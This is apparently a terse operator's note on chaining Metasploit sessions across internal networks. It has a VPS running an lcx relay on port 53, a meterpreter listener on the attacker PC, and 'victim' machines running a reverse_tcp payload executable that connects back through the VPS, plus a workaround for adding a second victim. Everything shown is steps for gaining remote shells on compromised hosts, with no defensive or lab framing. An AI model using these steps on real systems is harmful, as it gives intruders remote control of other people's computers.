msf的两种内网间连接方式及多重转发

step1-->vps:
        lcx -listen 300 53
step2-->主控端pc:
        start msf
        start a listener,meterpreter/bind_tcp,rhost=vps's ip,lhost=300
step3-->victim1:
        run 53.exe(a meterpreter/reverse_tcp payload exe,lhost=vps's ip,lport=53)

!!!!!!till now!!!!!!:
    victim1 will connect back successfully,but if I want victim2 connect back successfully after upon actions,found it fail after victim2 run 53.exe

!!!!!!solution!!!!!!:
step4-->
    victim2:run53.exe
    主控端pc:start a listener again like before
    (after run 53.exe on victim2,start a listener again like before.)
